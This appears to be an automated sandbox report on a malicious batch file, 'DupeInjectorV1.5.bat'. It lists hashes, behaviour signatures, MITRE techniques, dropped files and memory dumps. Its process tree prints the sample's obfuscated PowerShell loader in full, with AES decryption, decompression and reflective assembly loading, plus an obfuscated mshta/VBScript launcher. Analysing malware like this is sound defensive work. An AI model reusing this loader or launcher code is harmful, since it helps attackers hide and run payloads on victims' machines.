78d6219edaf300488e58b5133f4c9cf79e896ac38a20406b7d44f97e2ef6382d

General

Target

DupeInjectorV1.5.bat
Size

11.7MB
MD5

6878c36229c1e607455bff2707b7b997
SHA1

91a9764c0c815ef25f86556d38e886223040d543
SHA256

78d6219edaf300488e58b5133f4c9cf79e896ac38a20406b7d44f97e2ef6382d
SHA512

3d253c1b8dcb110ae3433bfdde514b6372c0733cc766aa29a347b70945c98c89b465e1fd61aa4cf3b67798bc1c5b617f2cb10c36b59ef4c07f814688f7ba1e3e
SSDEEP

49152:hZue6SM3O2MCef8qLldKe8iPlqCaGo6FkFglFnjDxPjzTUmm18+NFAJ8UMfDaN1i:4

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
852	$sxr-mshta.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4852	4656	cmd.exe	88
PID 4656 wrote to memory of 4852	4656	cmd.exe	88
PID 4656 wrote to memory of 1712	4656	cmd.exe	89
PID 4656 wrote to memory of 1712	4656	cmd.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function yRWFs($jTmRZ){ $gSPTl=[System.Security.Cryptography.Aes]::Create(); $gSPTl.Mode=[System.Security.Cryptography.CipherMode]::CBC; $gSPTl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $gSPTl.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JL1XN22CsrHve/JVh4vnlRjNE/57xHQF/eIioVKSeZA='); $gSPTl.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('RCESiKdN+JcFZgPoSB3tZg=='); $jqHph=$gSPTl.CreateDecryptor(); $return_var=$jqHph.TransformFinalBlock($jTmRZ, 0, $jTmRZ.Length); $jqHph.Dispose(); $gSPTl.Dispose(); $return_var;}function wSCZf($jTmRZ){ $PTEYT=New-Object System.IO.MemoryStream(,$jTmRZ); $XeiYV=New-Object System.IO.MemoryStream; Invoke-Expression '$WJZnT #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$PTEYT,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $WJZnT.CopyTo($XeiYV); $WJZnT.Dispose(); $PTEYT.Dispose(); $XeiYV.Dispose(); $XeiYV.ToArray();}function SOEOp($jTmRZ,$pKbtk){ $EkKAe = @( '$gqBcB = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$jTmRZ);'.Replace("#", ""), '$SkEkH = $gqBcB.EntryPoint;', '$SkEkH.Invoke($null, $pKbtk);' ); foreach ($SgezO in $EkKAe) { Invoke-Expression $SgezO };}$cJgdi=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat').Split([Environment]::NewLine);foreach ($FxTix in $cJgdi) { if ($FxTix.StartsWith('SIROXEN')) { $FsrBa=$FxTix.Substring(7); break; }}$dSrZG=wSCZf (yRWFs ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($FsrBa)));SOEOp $dSrZG (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat')); "
  2⤵
  PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1712

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-GbmfJGBAttJkONCWTJOC4312:UDNGLrhx=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_deqwrshl.x14.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/1712-22-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-25-0x000002CE00000000-0x000002CE00A2C000-memory.dmp

Filesize
10.2MB

Download
memory/1712-13-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-14-0x000002CE7DC80000-0x000002CE7DCC4000-memory.dmp

Filesize
272KB

Download
memory/1712-15-0x000002CE7DD50000-0x000002CE7DDC6000-memory.dmp

Filesize
472KB

Download
memory/1712-17-0x000002CE38000000-0x000002CE388A8000-memory.dmp

Filesize
8.7MB

Download
memory/1712-18-0x00007FFDAB1A0000-0x00007FFDAB25E000-memory.dmp

Filesize
760KB

Download
memory/1712-19-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

Filesize
2.0MB

Download
memory/1712-20-0x00007FFD8E000000-0x00007FFD8EAC1000-memory.dmp

Filesize
10.8MB

Download
memory/1712-21-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

Filesize
2.0MB

Download
memory/1712-23-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-11-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-24-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

Filesize
2.0MB

Download
memory/1712-12-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-26-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

Filesize
64KB

Download
memory/1712-27-0x000002CE00A50000-0x000002CE00AEC000-memory.dmp

Filesize
624KB

Download
memory/1712-28-0x000002CE00AF0000-0x000002CE00B40000-memory.dmp

Filesize
320KB

Download
memory/1712-29-0x000002CE00B40000-0x000002CE00B98000-memory.dmp

Filesize
352KB

Download
memory/1712-30-0x000002CE00BA0000-0x000002CE00BCC000-memory.dmp

Filesize
176KB

Download
memory/1712-37-0x000002CE00A40000-0x000002CE00A46000-memory.dmp

Filesize
24KB

Download
memory/1712-38-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/1712-10-0x00007FFD8E000000-0x00007FFD8EAC1000-memory.dmp

Filesize
10.8MB

Download
memory/1712-42-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

Filesize
2.0MB

Download
memory/1712-44-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

Filesize
2.0MB

Download
memory/1712-6-0x000002CE63540000-0x000002CE63562000-memory.dmp

Filesize
136KB

Download

Analysis

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